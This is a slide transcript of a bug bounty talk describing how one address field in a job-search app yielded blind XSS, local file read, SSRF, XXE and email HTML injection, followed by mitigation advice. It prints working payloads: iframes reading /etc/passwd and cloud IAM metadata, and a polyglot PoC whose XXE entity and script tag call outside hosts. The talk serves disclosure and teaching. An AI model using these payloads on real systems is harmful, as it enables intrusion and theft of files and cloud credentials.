Finding 5 bugs in a single parameter

Transcript

1. Finding 5 in a single parameter What? How did that happen?
2. GET /whoami HTTP/1.1 Jasmin Landry JR0ch17 …. Full time bug bounty hunter (sort of) Full time Dad (sort of)
3. GET /agenda HTTP/1.1 • Web Application Context • Approaching the app and setting a goal • Doing recon • Exploitation • Recap of the bugs and mitigation
4. GET /context HTTP/1.1 • Private bug bounty program • Job search web application • Users could simply sign up to look for jobs • Organizations could subscribe and post jobs, schedule interviews, etc • For testing purposes, I fortunately had access to a user account and employee account
5. GET /approach HTTP/1.1 • Look at the app as if no other hacker has looked at it yet • Identify what could be impactful for the company • CTF Mindset -> Creating a fake flag
6. GET /recon HTTP/1.1 • Recon != Subdomain Reconnaissance • Browse the application like a regular user • Enable all possible features –> Expanding the attack surface • Reading JavaScript files • Identify potential attack scenarios
7. GET /exploitation HTTP/1.1 • User input accessible to employees -> Stored XSS? • Back to the drawing board • Resume File Upload? -> Docx file converted to a PDF? Interesting • Back to the drawing board, again • Organizations can reach out to users, even if they don’t have a resume? -> Interesting, profile info is getting parsed. But where and how?
8. GET /exploitation?page=2 HTTP/1.1 • When doing my initial phase of browsing, none of my payloads reflected on the organization side? • The application suggests potential users for specific jobs -> Maybe blind XSS?
9. GET /exploitation?page=3 HTTP/1.1 • Blind XSS worked (on the address field), we have our first bug! –> It literally triggered seconds after I put my payload • Interesting file:// URL instead of the regular http:// or https://
10. GET /exploitation?page=4 HTTP/1.1 • If we look closer at the User-Agent -> Most likely an automated job • Which is great since we can easily test other payloads • One path in particular is the name of the software used • It’s actually an HTML to PDF converter?
11. GET /exploitation?page=5 HTTP/1.1 • But where is the PDF file being generated? • After a long search and help from the program’s dev, we found it was in an S3 bucket. Great! • Installed the software locally, tested it and found that we can read local files with iframes • <iframe src=file:///etc/passwd></iframe> • Win! Bug #2 • We can also get an SSRF by fetching internal HTTP resources • <iframe src=http://169.254.169.254/latest/meta-data/iam/...></iframe> • Win! Bug #3 • To me this was a single bug since it had the same root cause, but they actually considered them 3 separate bugs!
12. GET /exploitation?page=6 HTTP/1.1 • After talking with the dev about these bugs, they looked up the code to see what exactly was happening • Turns out, they would also parse it to XML -> XXE? • You guessed it, it worked! • PoC was simply to show it made requests to my own server • Keep in mind, we’re still in the address field! • Awesome, because of my address, I’ve found 4 high-impact bugs!
13. GET /exploitation?page=7 HTTP/1.1 • But wait, there’s more! • The dev reached out to me saying this • Could there also be email HTML injection? • Of course! Though these emails were used internally, and I couldn’t see them, the dev confirmed it worked! • So we have 5 bugs now, again simply from my address.
14. GET /recap HTTP/1.1 • User inputs their address -> 3 separate functions were called • HTML file dynamically created and generated into PDF • Blind XSS, Local File Read, SSRF • Parsed into XML • XXE • Parsed into HTML used for internal emails • Email HTML Injection • For fun, I created this polyglot PoC that would trigger all the vulnerabilities at the same time. • <!DOCTYPE root [<!ENTITY % xxe SYSTEM https://www.jr0ch17.com/xxe">%xxe;]><h1>test</h1><script src="https://jr0ch17.xss.ht"></script><iframe src="file:///etc/passwd"></iframe><iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
15. GET /mitigation HTTP/1.1 • Sanitize user input • All bugs were possible because there was no sanitization on the 3 functions that used my input • Upgrade vulnerable software • The XML parsing software used an old and vulnerable version of library which had a known XXE CVE • 0days -> 2 CVEs assigned for vulnerabilities identified on the HTML to PDF converter software
16. GET /thanks HTTP/1.1 Thank you for listening Questions? More questions? DMs are open on and